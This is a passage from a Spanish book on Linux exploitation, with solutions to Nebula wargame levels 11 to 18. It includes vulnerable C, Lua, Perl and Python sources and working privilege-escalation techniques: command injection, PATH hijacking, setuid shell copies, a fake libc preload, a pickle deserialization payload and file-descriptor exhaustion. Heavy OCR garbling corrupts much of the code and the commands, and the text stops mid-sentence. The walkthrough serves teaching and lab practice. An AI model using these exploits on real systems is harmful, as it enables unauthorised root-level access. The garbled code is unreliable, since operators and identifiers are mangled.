061  errx(l,  "reading  from  stdin"); 

062  } 

0  63 

064  if (strncmp (line,  CL,  strlen(CL))  1=  0)  { 

065  errx(l,  "invalid  header"); 

066  } 

067 

068  length  =  atoi(line  t  strlen(CL)); 

069 

070  if  (length  <  sizeof(buf))  ( 

071  if (f read (buf ,  length,  1,  stdin)  1  =  length)  { 

072  err(l,  "fread  length") ; 

073  } 

074  process {buf ,  length); 

075  }  else  { 

076  int  blue  -  length; 

077  int  pink; 

079 

079  fd  =  getrand (&path) ; 

080 

081  while (blue  >  0)  { 

082  printf ("blue  =  %d,  length  =  %df  ",  blue,  length); 

083 

084  pink  =  fread(buf,  1,  sizeof(buf),  stdin) ; 

085  printf("pink  =  %d\ri",  pink); 

086 

087  if [pink  <=  0)  { 

088  err(l,  " fread  fail (blue  =  %d,  length  =  %d) ",  blue, 

089  1 

090  write (fd,  buf,  pink); 

091 

092  blue  -=  pink; 

093  } 

094 

095  mem  =  mmap (NULL,  length,  PROT_READ | PROTJWRITE ,  MA P_PR I VAT E 

096  if (mem  ==  MAP_F AILED)  { 

097  err(l,  "mmap"); 

098  } 

099  process (mem,  length); 

100  } 

101} 


length) ; 


fd, 


0)  ; 
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Solution 

Antique  a  primera  vista  pueda  parecer  complication  un  breve  analisis  demuestra  todo  lo  contrario,  la 
pieza  clave  es  la  funcion  process  os  que  Iras  algunas  alteraciones  del  primer  argumento  que  recibe 
llama  a  system  ( }  con  el  resnllado,  Existen  dos  formas  de  llegar  a  process  t )  desde  la  Juncidn  main  ( ) , 
bicn  cuando  la  variable  length  es  menor  que  1024,  bien  cuando  es  superior.  Dado  que  es  el  usuario 
quien  proporeiona  este  parametro  nos  guiaremos  por  la  primera  posibilidad  para  atacar  este  reto. 

Si  provocamos  que  length  sea  menor  que  1024  entonces  cumpliremos  el  primer  condi  cional  y  la 
primera  line  a  de  codigo  que  llama  nuestra  atencion  es  esta: 

if  (fread  (buf ,  length,  1,  st.din)  !  =  length) 

La  llamada  a  fread  o  sc  realiza  incorrectamente  invirtiendo  los  dos  argumcntos  intermedios,  como 
consecueneia,  sea  cual  sea  el  contenido  que  se  le  pase  al  programa  por  medio  de  la  entrada  estandar, 
este  solamente  leera  un  caracter  y  luego  lo  enviara  a  process  o  y  sucesivamente  a  system  o  ,  Ya  que 
nada  nos  impide  generar  un  binario  o  enlace  cuyo  nombre  solo  posea  un  caracter,  parece  que  ya 
sabemos  lo  que  debemos  hacer. 

Primero  creamos  un  enlace  en  el  home  de  level n  apuntando  a  /bin/dash: 

level 1 1@ nebula : ln-s  /bin/getflag  s 
level 1 X0nebula : Is  -al  s 

Irwxrwxrwx  1  levelll  1 eve 111  9  2013-05-22  14:03  s  -*  /bin/getflag 

Luego  haeemos  de  este  home  el  primer  directorio  de  Ja  variable  de  entonio  path,  para  que  sea  el  primer 
lugar  donde  el  sistema  operative  busque  los  binaries  a  ejecutar: 

level 1 ISnebula : export  PATH- /home / level 1 1 : $  PAT H 

Por  ultimo  cal  cu  lam  os  el  caracter  que  debe  llegar  a  process  o  para  que  se  convierta  en  el  ej  ecu  table 
V  despues  de  las  Iran sformaci ones,  en  este  caso  una  simple  operacion  xor. 

key  =  length  &  Oxff  =  1  &  OXff  -  1 

bufferLi]  key  =  'sf  A  1  =  rrT 
Enviamos  el  payload  a  .  /  fiagii: 

level  ilgnebu]  a :  -  $  perl  -e  1  print  "Content-Length:  l\nr,TI  |  ,/home/f  lag!  1  /  flag!  1 

Despues  de  varios  intentos,  ya  que  el  buffer  n  de  main()  no  esta  inicializado  con  ceros  y  contiene 
basura  que  se  cuela  despues  de  ‘r’,  obtenemos  lo  siguiente; 

level ll@nebula;-$  perl  -e  'print  "Content-Length:  l\nr"  T  |  /home/ flag!  1  /flag!  1 
You  have  successfully  executed  get. flag  on  a  target  account 


NIVEL  12 


Lxiste  una  puma  trasera  (backdoor)  escuchando  en  el  puerto  50001 . 

Codigo  Fiiente _ _ 

01  local  socket  =  require ("socket" ) 

02  local  server  =  assert  (socket  .bind  ("127  ..0  *  0 , 1 "  r  50001)) 
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03 

04  function  hash (password) 

05  prog  =  io .popen ( "echo  ",  .password.  .,T  1  shalsum'1,  "  r") 

0  6  data  =  prog  :  read  ( ,T *all ,T ) 

07  prog  :  close  () 

0  8 

09  data  =  string . sub (data ,  1,  40) 

10 

11  return,  data 

12  end 

13 

14 

15  while  1  do 

16  local  client  =  server : accept  0 

17  client:  send  {"Password:  ,T) 

18  cl lent : settimeout ( 60 ) 

19  local  line,  err  =  client : receive ( ) 

20  if  not  err  then 

21  print ("trying  "  .  .  line)  - —  log  from  where  ;\ 

22  local  h  =  hash(line) 

23 

24  if  h  ~=  "  4  7  5  4  a  4 f  4bd  5 7  8  7  acod  3 3de 8 8 7b 92 5 0 a 0 6 9 1  ddl 9 8 11  then 

25  client :  send  ( "Better  luck  next  time\n"); 

26  else 

27  client :  send  ("Congrats,  your  token  is  4 1 3  *  *  CARRIER  LOST**\nfl } 

28  end 

29 

30  end 

31 

32  client : close ( ) 

33  end 


Solucitin 

No  se  debe  perder  el  hilo  pensando  en  crackear  el  algoritmo  de  hashing  SHA-1  o  crcar  alguna  clase 
de  col  i  si  on.  Es  algo  mucho  mas  simple,  nuevamente  es  tamos  ante  un  fallo  de  inyeccion  de  codigo.  La 
Imea  corrupta  es  la  siguiente: 

prog  -  io -popen ( "echo  .password, I  shalsum",  "r") 

Otra  vez  mediante  ’  podemos  introducir  comandos  a  placer  que  seran  pasados  a  la  shell  entre 
bastidores-  Optaremos  por  la  opcion  que  nos  otorga  una  shell  con  los  privilegios  del  usuario  f lagi.z: 
level 12 ©nebula : /home/f lagl2$  nc  localhost  50001 

Password:  ; cp  /bin/dash  /home/f lagl2/dash;  chmod  +s  / home /f lag 12/dash 
Better  luck  next  time 

levell2@nebula : /home/f iagl2$  Is  -al  dash 
-rwsr-sr-x  1  flagl2  flagl2  96188  2013-05-22  10:02  dash 
level 120 nebula : /home/f lagl 2$  . / dash 
$  get flag 

You  have  successfully  executed  getflag  on  a  target  account 


306 


Linux  Exploiting 


NIVEL  13 

Se  realiza  una  comprobacion  de  seguridad  que  previene  que  el  programs  se  siga  ejecutando  si  el 
usuario  que  lo  invoca  no  posee  un  identificador  (id)  espedfico. 


Ctidigo  Fuente _ _ _ 

01  f include  <stdlib . h> 

02  linclude  <unistd.h> 

03  #include  <stdio.h> 

04  #include  <sys/types . h> 

05  linclude  <string,h> 

06 

07  # define  FAKEUID  1000 
08 

09  int  main  (int  argc,  char  **argv,  char  **envp) 

10  { 

11  int  c; 

12  char  token [256] ; 

13 

14  if {getuid ( )  !=  FAKEUID)  { 

15  printf ("Security  failure  detected.  DID  %d  started  us,  we  expect  %d\n" , 
getuid (U  FAKEUID); 

16  printf ("The  system  administrators  will  be  notified  of  this  violationXn") ; 

17  exit ( EX I T_F A I LURE ) ; 

18  } 

19 

20  //  snip,  sorry  : ) 

21 

22  printf  ("your  token  is  %s\nlf,  token); 

23 

24  } 


Solution 

Una  de  las  primeras  ideas  que  se  le  puede  ocurrir  a  cualquiera  es  hacer  ldpreload  sobre  el  ej  ecu  table, 
hookear  la  fimcion  getuid o  para  que  devuelva  siempre  el  valor  1000  y  asi  superar  el  reto.  Pero  es 
una  obviedad  que  tal  artificio  no  puede  ser  realizado  sobre  un  program  a  setuid,  en  cuyo  caso  cualquier 
si  sterna  Linux  podria  ser  rooteado  (pwned)  en  segundos, 

Asi  que  una  de  dos,  o  bien  nos  copiamos  el  binario  en  una  carpeta  arbitraria  y  llevamos  todo  el  trabajo 
de  programar  y  cargar  nuestra  libreria  delante,  o  para  el  caso  que  nos  ocupa  acabamos  antes  si  abrimos 
la  apiicacion  con  GDB  y  modificamos  el  valor  devuelto  por  getuidp  en  tiempo  de  ejecucion: 

levell 3 @ nebula : /home/f Xagl 3$  gdb  — q  ,/flagl3 

Heading  symbols  from  /home/f Iagl3/flagl3 ...  (no  debugging  symbols  f ound) , , , done , 
fgdb)  disass  main 

0x0804  3  4ef  <  +  43>:  call  Gx8G483cQ  <getuid@plt> 

0x080484f4  <+4.8 >;  cmp  $0x3e8r  %eax 

fgdb)  break  *main+48 
Breakpoint  1  at  0x80484f4 
(gd)  run 

Starting  program:  /home/f Iagl3/flagl3 
Breakpoint  1,  Gx080484f4  in  main{) 
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(gdb)  i  r  Seax 

eax  Dx3f 6  1014 

(gdb)  set  $eax=Dx3e8 
(gdb)  c 
Continuing* 

Your  token  is  b705702b-76a8'-42b0-3844-3adabbe5ac58 


Lo  que  nos  sirve  para  logueamos  en  la  cuenta  correspondiente: 

levell3@nebula : /home/flagl3$  su  flag!3 

Password: 

sh-4 . 2$  getf lag 

You  have  successfully  executed  getf lag  on  a  target  account. 


NIVEL  14 

Este  programa  se  ubica  en  /home/fiagi4/fiagi4.  Cifra  la  entrada  y  vuelea  el  resultado  por  la  salida 
estandar.  Existe  un  archive  token  cifrado  en  el  directorio  home  del  usuario,  descifrelo. _ 

Solution 

El  contenido  de  token  es  el  siguiente: 

8 5 7 : q 6 7 ? 5 ABBo : B t DA ? t I vLDKL { MQPSRQWW . 

Ejecutamos  .  /f  iagi4  y  comprobamos  los  valores  que  nos  devuelve  para  la  eadena  “aaaaa”: 

1  Letra  -*>  'af  -  'a1 

2  Letra  -  'a1  'b' 

3  Letra  -  'a'  -  ’  c ' 

4  Letra  -  T  a 1  -*  1  d1 

5  Letra  'a'  -  1  e' 

Es  deeir,  que  comenzando  con  un  mdice  de  0,  a  eada  subsiguiente  caracter  de  entrada  le  va  sumando 
1  a  su  valor  ASCII.  Creamos  entonces  un  pequefio  programa  en  C  que  realice  la  operacion  inversa: 

#include  <stdio.h> 

# include  <string,h> 

int  main (int  argc,  char  **argv) 

i 

char  *  token  =  °  8  5  7 : g  6  7  ?  5 ABBo : BtDA?t I vLDKL { MQPSRQWW  AO"; 
int  leu  =  strlen (token) ; 
int  i; 

for  < i=0 ;  i  <  len;  i++) 

printf  (  "%e” ,  (char)  (token  [i]  -  i)  )  ; 
puts  ( ,T\nTI )  ; 

1  

El  resultado  es  un  token  para  acceder  a  la  cuenta: 

levell 4 @ nebula : * /decrypt 
84  5  7  ell 8-887c-4e4G-a5a  6-33a2535  31 65 
levei!4@nebula : ~$  su  flagl4 
Password : 
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sh~4 . 2$  getflag 

You  have  successfully  executed  getflag  on  a  target  account. 


NIVEL  15 

Llame  a  strace  sobre  el  binario  /home/fiagi5/fiagi5  para  ver  si  descubre  algo  fuera  de  lo  normal 
Usted  podria  buscar  information  sobre  como  compilar  una  libreria  compart i da  en  Linux  y  como  estas 
son  cargadas.  Revise  la  pagina  man  de  diopen  en  profundidad. 

Solution 

Llamaremos  a  s trace  sobre  el  binario  enviando  la  salida  a  un  log  para  examinarla  detenidamenle: 

levell  5  (<!  nebula; /home/f lagI5$  strace  . /flaglS  2>  /home/levell5/log 


Despues  de  echar  un  vistazo  a  las  primeras  lineas  observamos  que  repetidas  veees  se  intenta  cargar 
una  libreria  en  el  director io  /var/tmp /magi  5/,  en  concrete  con  el  nornbre  libc. so.  6. 


Debemos  confesar  que  esta  prueba  parece  ideada  para  desarrolladores,  todo  el  reto  se  basa  en  la  idea 
de  crear  una  libreria  falsa  y  acertar  eon  las  opciones  necesarias  para  su  correct#  compilacion  y 
ejecueion.  Primero  veamos  con  ob  j dump  que  podemos  intereeptar  en  nuestra  libreria  personal: 


1 eve 115 S nebula : / home / f lagl 5  $ 

objdump  -R 

./f lagiS 

OFFSET 

TYPE 

VALUE 

0804  9ff0 

R_386_GLOB_DAT 

_ gmon_ 

_start _ 

0804a00  0 

R  386  JUMP  SLOT 

puts 

0804a004 

R_386_JUMP_SLOT 

_ gmon 

_start _ 

0804a008 

R 3  8  6  JUMP SLOT 

libc 

start main 

Ya  que  tras  algunos  errores  parece  que  _ libc  start  main  siempre  tiene  que  estar  definida, 

utilizaremos  esta  para  realizar  nuestras  acciones.  La  pagina  de  referenda  de  linuxbase.org  nos  muestra 
el  prototipo  correspondiente; 

int  libc  start  main (int  (*main)  tint,  char  *  *r  char  *  *),  int  arge, 
char  *  *  ubp_av,  void  (*init)  (void) ,  void  (*fini)  (void) ,  void 
(*rtld_f ini)  (void) ,  void  (*  stack_end) ) ; 


For  lo  tanto,  nuestra  primer  ejemplo  sera  algo  como  esto; 

int  _ libc_start_main  (int  (*main}  (int,  char  *  *,  char  *  *)  r  int  arge,  char  *  +  ubp  av, 

void  (*init)  (void),  void  (*fini)  (void),  void  (*rtld_fini)  (void),  void  (*  stackend) ) 
{ 

system {" /bin /dash 11 )  ; 

} 


leveil5@nebula : /var/tmp/f lagI5$  gcc  -fPIC  -shared  fakelib.c  -o  libc, so. 6 

/home/ f laglS/ f lagl5 :  /var/tmp/ f lagl5/ libc . so . 6 :  no  version  information  available 
(required  by  /var/tmp/ flagld/ libc . so . 6 ) 


Tambien  obtuvimos  otro  error  indicando  que  el  simbolo  cxa_f inaiize  no  estaba  definido*  De  nuevo 
a  buscar  informacion  y  parece  que  el  requisite  es  que  tenemos  que  agregar  a  nuestra  composicion  un 
fichero  de  versiones: 
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GLIBC_2 ,0  {  } } 

Se  puede  definir  un  arbol  de  versiones  mayor,  pero  para  nuestra  caso  una  sola  definition  parece 
suficiente. 

level 1 SOnebula : /var/tmp/ f lagl 5$  gcc  -shared  -fPIC  -Wl, — version-script=my version 
fakelib.c  -o  libc. so. 6  


Nuevo  error  para  la  coleccion,  esta  vez  la  version  GLIBC  2. 1.3  no  esta  definida  en  el  binario* 
Sencillamente  nuestra  fakelib  esta  incluycndo  a  la  libc  real  y  se  produce  un  conflicto  de  vefsiones.  La 
solution  pasa  por  compilar  la  nuestra  como  eslatica: 

level 15@nebula: /var/tmp/ f lagl 5$  gcc  -fPIC  -shared  -Wl, — vers  ion-script ^myversion,  - 
B static  -static-libgcc  fakelib. c  -o  libc • so, 6 
level 15@nebula : / var/tmp/f lagl 5$  /home/ f lagl 57 f lagl 5 
$  id 

uid-1016 (levellS)  gid=1016 (levellS)  euid=984  (flaglS)  groups-984 {f lagl 5) , 1016  (levellS) 
$  get flag 

You  have  successfully  executed  getflag  on  a  target  account 


NIVEL  16 

Hay  un  script  en  Perl  ejecutandose  en  el  puerto  1616. 


Codigu  Fuente _ _ _ _ _ 

01  # ! /usr/bin/env  perl 
02 

03  use  CGI  qw{param}; 

04 

05  print  "Content-type:  text/html\n\n" ; 

06 

07  sub  login  { 

0  8  $username  -  $_[0],- 

09  $pas sword  = 

10 

11  $username  =^-  tr/a-z/A-Z/;  #  conver  to  uppercase 

12  $username  =-  s/\s.*//;  #  strip  everything  after  a  space 

13 

14  ^output  =  'egrep  "  A$usernameM  /home/ f lagl 6/userdb . txt  2>4-l*; 

15  foreach  $line  (6  output)  { 

16  [$usr,  $pw)  =  split  {I ‘.ft  $line)  ; 

17 

18 

19  if($pw  =~  ^password)  { 

20  return  1; 

21  > 

22  } 

23 

24  return  0; 

25  } 

26 

27  sub  htmlz  { 

28  print  ( ,T<html><headXtitle>Login  resuls</ titlex/head><body>"  )  ; 

29  if  ($  [0]  =  1)  { 
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30  print  (  "Your  login  was  accepted<br/>TI )  ; 

31  )  else  { 

32  print ( "Your  login  failed<br/>" ) 

33  } 

34  print [ "Would  you  like  a  oookie?<br/><br/X/body></html>\n” ) ; 

35  ) 

36 

37  htmlz (login (par am ("username" } ,  param  (  "password”  )))  ; 

Solution 

Con  la  experiencia  de  retos  anteriores  es  facil  ver  la  line  a  que  ejecuta  codigo  en  el  si  sterna: 

goutput  =  vegrep  "AS username"  /home/f lagl 6/userdb . txt  2>&1"; 

La  variable  username,  proporcionada  por  el  usuario  mediante  el  request  ai  fichero  index.cgi,  es 
insertada  en  medio  del  comando  egrep  que  busca  si  dicho  usuario  existiese  dentro  del  archivo 
userdb .  txt.  Este  ultimo  fichero  esta  vacio  por  lo  que  ya  suponemos  que  corresponde  inyectar  codigo 
de  nuevo  en  la  cadena: 

Las  condiciones  limitantes  de  las  tineas  11  y  12  del  script  nos  dicen  que  nuestra  cadena  sera  convertida 
a  mayusculas  v  que  no  debe  contener  espacios.  La  primera  de  las  reglas  nos  impide  referenciar 
cualquier  directorio  del  sistema,  por  lo  que  crearemos  un  fichero  news  hell  en  /tmp  con  el  contenido 
de  siempre: 

# ! /bin/bash  ' 

cp  /bin/dash  /home/f lag!6/dash 
chmod  /home/f lagl 6/dash 


Luego  ahadimos  el  directorio  /  tmp  a  la  variable  de  entomo  path: 

levell Sgnebula i /home/f lagl 6$  export  PATH— / tmp ; $  PATH 


Ahora  probamos  a  inyectar  nuestro  script  dentro  de  la  cadena  pasada  a  egrep,  directamente  desde  la 
shell.  Para  ello  simplemente  provocamos  el  cierre  de  comil  las  dobles  y  usamos  las  invertidas  para 
ejecutar  nuestro  comando: 

levell-6.0nebula: /home/f  lagl  6$  egrep  "  A  ,T '  ttEWSHELIh  ,T  ,T  /home/f  lagl  6/userdb.  txt  2>&) 
cp:  cannot  create  regultar  file  ' /hpme/f lagl6/da$h 1 :  Permission  denied 


Correcto.  Ahora  probamos  a  trav^s  de  net  cat: 

levell Ggnebula: /home/f lagl6$  no  localhost  1616 

GET  / index, egi?user name- °  'NEWSHEIiL'  M  HTTP/ 1.0 
HTTP/ 1.0  200  OK 


Pero  tras  consul  tar  el  directorio  /home/fiagie  ninguna  shell  ha  sido  copiada  all  I,  de  modo  que  parece 
que  nuestra  modification  de  path  no  ha  surtido  efecto  (la  apHcacion  ha  establecido  un  entorno  propio) 
y  nuestro  binario  no  es  encontrado*  Por  suerte,  bash  nos  permite  utilizar  comodines  para  especificar 
directories  desconocidos,  he  aqui  un  ejemplo: 

levell6@nebula: /home/ f lagl 6$  Is  -al  /*/bin/apt-key 
-rwxr-xr-x  1  root  root  7797  2011-10-06  03:25  /usr/bin/apt-key 
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Con  lo  que  ya  podemos  resolver  la  direction  absolute  de  news  hell: 

levell6@nebula:  /home/ flag  16$  nc  localhost  1616 

GET  /index .  cgi?U3ern£me=TI '  /* /NEWSHELL  ' ,T  HTTP/1.0 
HTTP/ 1.0  200  OK 

level  1613 nebula  :  /home/f  lagl6$  Is  -al  dash 
-rwsr-sr-x  1  flagl6  flagl6  06188  2013-05-23  06:34  dash 
level I6@nebula: /home/f lagl 6$  ./dash 
$  getflag 

You  have  successfully  executed  getflag  on  a  target  accounL 


NIVEL  17 

Hay  u n  script  en  Python  escuchando  en  el  puerlo  10007  que  contiene  una  vulnerabilidad. 


Codifio  Fuente  _ _ _ _ _ 

01  # 3 /usr/bin/python 
02 

03  import,  os 
04  import  pickle 
05  import  time 
06  import  socket 
07  import  signal 
0  8 

09  signal . signal (signal ..SIGCHLD,  signal . SIG_IGN) 

10 

11  def  server (skt): 

12  line  -  skt . recv (1024) 

13 

14  obj  =  pickle. loads [line) 

15 

16  for  i  in  obj : 

17  clnt .  send  (  "why  did  you  send  me  Tl  +  i  +  ,T?\n") 

18 

19  skt  -  socket . socket (socket .AF_IN£T,  socket .  SGCK__5TREAMf  0) 

20  skt . bind{ ( 1  0  ,  Q  .  0 . 0  T ,  10007)) 

21  skt . listen  ( 10) 

22 

23  while  True: 

24  clnt,  addr  =  skt. accept  [) 

25 

2  6  if (os .fork ( )  ==  0)  : 

27  clnt . send ("Accepted  connection  from  %s : %d"  %  (addr[0],  addr[l])) 

28  server (clnt) 

29  exit(l)  


Solution 

Encontrar  donde  se  encuentra  la  vulnerabilidad,  es  trivial,  ya  que  el  unieo  lugar  del  script  donde  se 
prates a  nuestra  in  format  ion  es  aquf: 

obj  -  pickle . loads (line) 
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Buscando  inform  acidn  sobre  Pickle  comprendemos  que  se  trata  de  una  clase  que  nos  permite  serializar 
y  deserial  izar  objetos,  pero  la  propia  pagina  de  pickle  informa  que  el  usuario  que  deserial iza  dichos 
objetos  debcria  saber  de  antemano  que  estos  son  de  confianza,  de  lo  contrario  constituiria  una  grave 
vulnerabilidad.  He  aqui  lo  que  dice  la  web  dc  Python: 


Advertencia 


El  modulo  pickle  no  esta  disenado  para  ser  seguro  contra  datos  erroneos  o  maliciosamente 
construidos.  Nunca  use  pickle  con  datos  recibidos  de  una  fuente  en  la  que  no  confie  o  que 
|  no  se  haya  autentificado. 


Las  funciones  que  nos  interesan  son  pickle .  dump ^  u  que  nos  devolvera  una  cadena  con  nuestro  objeto 
serializado  y  pickle .  loads  ( )  que  lo  deserializa. 

^Como  construir  nuestro  objeto  de  ataque?  Cuando  pickle  trata  con  objetos  no  conocidos  permite  al 

usuario  implementar  una  funcion _ reduce_  ( )  dentro  del  objeto,  que  o  bien  invoque  otro  metodo  o 

devuelva  una  cadena,  este  metodo  sera  llamado  cuando  pickle .  loads  u  cumpla  su  cometido. 

Con  esta  informacidn  en  la  mano  pasamos  a  fabricar  nuestro  objeto  e  imprimirlo  por  la  salida  estandar. 


Nota 


Hemos  preparado  de  antemano  otro  script  en  /tmp/sheiii7  que  es  una  copia  del  script 
newshell  del  reto  anterior  pero  que  copia  /bin /dash  en  /home/f  iagi7. 


level 17@nebula : /home/f lagl7$  cat  /tmp/mypick . py 

import  cPickle 
import  subprocess 
class  CopyShel.1  (object )  : 
def  __r educe _ (self) : 

return  (subprocess . Popen,  ( ( ' / tmp/shel 117 1 , ) , ) J 
print  c Pi Okie, dumps (Copy Shell ( ) ) 


Nota 


cPickle  es  una  implementacion  Pickle  escrita  en  lenguaje  C  que  Lrabaja  unas  1000  voces 
mas  rapido. 


Este  script  puede  ejecutarse  mediante  el  interprete  Python  para  ver  lo  que  vuelca  por  pantalla.  De 
hecho,  el  objeto  serializado  es  tan  simple  que  se  podria  haber  escrito  a  mano  en  un  fichero  (si  se  conoee 
!a  estruclura)  e  inyectarlo  luego  a  traves  de  net  cat, 

level X 7 @  nebula ;  / home / f 1 agl 7  $  python  /tmp/mypick.py  |  nc  localhost.  10  007 
Accepted  connection  from  127.0.0.1:58629 
AC 

!evell7@nebula : /home/f Iagl7$  Is  -al  dash 

-rwsr-sr-x  1  flagl 7  flagl?  96X88  2013-05-23  07:20  dash 

level 17@nebula : /home/ flagl 7$  « /dash 
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$  getflag 

You  have  successfully  executed  getflag  on  a  target  account 


La  llamada  a  subprocess .  Popen  ( )  puede  sustituirse  tambien  por  os .  System <)  u  otra  de  interes. 


NIVEL  18 


Analice  este  programa  en  C  y  encuentre  los  fallos  de  seguridad.  Existe  una  fomia  faeil,  una  intermedia 
y  otra  increiblemente  dificil  de  solucionar  el  reto. _ _ 


Codigo  Fuente _ _ _ _ 

0 G 1  # include  <stdlib.h> 

002  ftinclude  <unistd.h> 

003  # include  <st.ring«h> 

004  #include  <stdio.h> 

005  #include  <sys/types ,h> 

006  ^include  <fcntl.h> 

007  finclude  <getopt.*h> 

ooa 

009  struct  { 

010  FILE  *debugf ile ; 

Oil  int  verbose; 

012  int  loggedin; 

013  1  global s; 

014 

015  #def ine  dprintf ( . )  if (globals . debugf ile)  \ 

016  fprintf { global s . debug file,  _ VA_ARG3 _ ) 

017  fdefine  dvprintf ( nun,  , , , )  if ( globals . debugf ile  &&  globals . verbose  >=  nun)  \ 

018  fprintf (globals , debugf ile,  _ VA_ARGS _ ) 

019 

020  # define  PWFILE  ,T /home /flagl 8 /password" 

021 

022  void  login  (char  *pw) 

023  { 

024  FILE  *fp; 

025 

026  fp  =  f  open  ( PWFILE ,  ,Tr"); 

027  if (fp)  { 

028  char  file[64] ; 

029 

030  if (fgets (file,  sizeof (file)  -  1,  fp)  -=  NULL)  { 

031  dprintf ("Unable  to  read  password  file  %s\n",  PWFILE); 

032  return; 

033  } 

034 

035  if ( strcmp (pw,  file)  l-  0)  return; 

036  } 

037  dprintf ("logged  in  successfully  (w±th%s  password  file)\n", 

036  fp  ==  NULL  ?  "out"  :  ,T")  ; 

039 

04 G  global s , loggedin  =  1; 

041 
042  } 

043 
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044 
045 
046 
047 
043 
049 
050 
051 
052 
053 
054 
055 
055 
057 
058 
059 
060 
061 
052 
0  63 
064 
065 
066 
067 
068 
069 
070 
071 
072 
073 
074 
075 
076 
077 
07S 
079 
080 
081 
032 
083 
084 
085 
086 
087 
088 
089 
090 
091 
0  92 
093 
094 
095 
096 
0  97 
0  98 
099 
100 


void  notsupported (char  *what) 

{ 

char  * buffer  =  NULL; 

asprintf  (Sbuffer,  [%s]  is  unsupported  at  this  current  time  An”, 

dprintf ( what ) ; 
free  (buffer)  ; 


void  setuser(char  *user) 

{ 

char  msg [ 1 28 ] ; 

sprint f (msg,  "unable  to  set  user  to  r%sf  —  not  supported  An",  user) 
printf E"%s\n",  msg) ; 

i 

int  main (lot  argc,  char  **argv,  char  **envp) 

{ 

char  c; 

while ( (c  =  getopt(argc,  argv,  "d;v") )  -1)  { 

switch (c)  { 

case  1 d1 : 

globals  .  debugf ile  =  fopen (optarg,  "w+") ; 
if  (global s  .debugfile  =  NULL)  errfl,  "Unable  to  open  %s", 
setvbuf (globals . debugfile,  NULL,  IONBF,  0) ; 
break; 
case  T v 1 : 

globals , verbose++ ; 
break; 


dprintf ("Starting  up.  Verbose  level  =  %d\n",  globals . verbose)  ; 

setresgid (getegid ( ) ,  getegid ( } ,  getegid ( ) ) ; 
setresuid (geteuid O  ,  geteuidf),  geteuid(J); 

while  (1)  { 

char  line  [256] ; 
char  *p,  *q; 

g  =  fgetsdine,  sizeof  (line) -1,  stdin}  ,- 
if (q  =  NULL)  break; 

p  =  strchr[line.  An');  if(p)  *p  =  0; 
p  =  strchr{line,  A  r 1 ) ;  if(p)  *p  =  0; 

dvprintf (2,  "got  [%s]  as  input\n",  line); 

if (strncmp (line,  "login",  5)  “  0)  { 

dvprintf [3,  "attempting  to  login \n" ) ; 
login (line  +  6) ; 

)  else  if (strncmp (line,  "logout",  6)  --  0 )  { 

globals . loggedin  =  0; 

}  else  if (strncmp (line,  "shell",  5)  =  0)  { 

dvprintf (3,  "attempting  to  start  shell\n"); 


what) ; 


optarg) ; 
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101  if (globals . loggedin}  { 

102  execve  ["/bin/sh" ,  argv,  envp) ; 

103  err(l,  "unable  to  execve"}; 

104  } 

105  dprintfif11  Permission  denied\n"  )  ; 

106  }  else  if (strncmp (line,  "logout",  4)  ==  0)  t 

107  globals , loggedin  =  0; 

108  }  else  if ( strncmp (line ,  "closelog" ,  8)  ==  0)  { 

109  if (globals . debugf ile)  fclose (globals , debugfile) ; 

110  globals . debugf ile  =  NULL; 

111  }  else  if  (strncmp  (line,  "site  exec",  9)  ==  0)  { 

112  notsupported (line  +  10); 

113  }  else  if (strncmp (line,  "setuser",  7)  ==  0)  { 

114  setuser (line  +  8}; 

115  } 

116  } 

117 

118  return  0 

119  } 


Solution 

Desconocemos  euanias  vulnerabilidades  exactas  tiene  la  aplicacion,  pero  hay  dos  que  saltan  a  la  vista: 
la  mas  grave  se  da  en  la  funcion  setuser  () ,  donde  una  llamada  a  sprintf  o  es  ejeeutada  sin  control 
sobre  un  buffer  de  1 28  caracteres  cuando  nosotros  podemos  introducir  en  el  programa  lineas  de  hasta 
256.  Despues  de  algunas  comprobaciones  inyectando  datos  y  ieyendo  el  desensamblado  de  GDB, 
vein  os  que  las  protecciones  Stack-Smash  Protector  (SSP)  y  A  SLR  se  encuentran  activadas.  Predecir 
el  canary  en  esta  situation  concreta  no  parece  muy  viable. 

La  scgunda  vulnerabilidad,  que  es  bastante  notable,  se  encuentra  en  la  funcion  login  0 1  que  nos  dejara 
amablemente  logueamos  en  cl  sistema  siernpre  que  no  pueda  abrir  el  archivo  de  passwords. 

;(Como  lograr  que  fopen  o  devuelva  hull?  Como  login o  nunca  llama  a  f close o,  podemos 
consumir  tantos  descriplores  de  fichero  como  queramos.  Podemos  ver  con  el  comando  ulimit  cual  es 
el  tope: 

levell8@nebula : /home/ flagl8$  ulimit  -a  }  grep  "open" 
open  files (-n)  1024 

Una  medida  de  seguridad  recomendada  es  utilizar  la  funcion  getdt.ablesize  { )  para  obtener  el  tarn  ah  o 
de  la  tabla  de  descriptors  de  fichero,  y  luego  cerrarlos  todos  salvo  stain,  stdout  y  stderr,  es  mas, 
asegurese  manualmente  de  que  estos  siempre  estan  abiertos  y  si  no  asignelos  a  /dev /null  para  evitarse 
algunas  sorpresas  desagradables.  El  problema  es  qne  un  proceso  hijo  hereda  siempre  Los  descriptors 
abiertos  por  el  padre,  y  por  lo  Lanto  siempre  cabe  la  posibilidad  de  que  se  produzca  una  denegacion  de 
servicio  si  el  proceso  original  ha  consumido  todos  los  descriptors  dispontbles. 

Retomemos  el  hilo  de  la  discusion.  Teniendo  en  cuenta  que  al  ejecutar  el  programa  los  tres  primeros 
descriptors  ya  estaran  ocupados  con  stdin,  stdout  y  stderr,  si  establecemos  un  archivo  de  log  con 
la  option  -d,  otro  descriptor  sera  consumido,  por  lo  que  si  llamamos  a  login  ()  1021  veces  mas  la 
variable  globals . loggedin  deberia  ser  establecida  a  1 . 

Ievell8@nebula : /home/ flag! 8$  perl  -e  'print  "login  me\n"xlQ21'  \  , /flaglS  -d  /tmp/log 

level 1 3 @ nebula : /home/ flagl 8$  cat  /tmp/log 


316 


Linux  Exploiting 


Staring  up.  Verbose  level  =  0 

logged  in  successfully  (without  password  file) 


Si  ahora  in  ten  tamos  ejecutar  la  shell... 

level  lS@nebula :  /home  /  f laglB$  perl  -e  'print  "login  me\n,Txl02l  .  "sbellW’ ’  |  ./flaglS 

-d  /tmp/log 

./flaglS:  error  while  loading  shared  libraries:  libncurses . so . 5 :  cannot  open  shared 
object  file:  Error  24 

Vamos  por  el  buen  eamino,  aunque  parezea  que  es  .  /fiagis  quien  emite  el  error,  en  realidad  proviene 
de  /bin/ sh,  lo  que  ocurre  es  que  la  shell  ha  sido  Ilamada  mediante  execve  (Vbin/sh",  argv,  envp) 
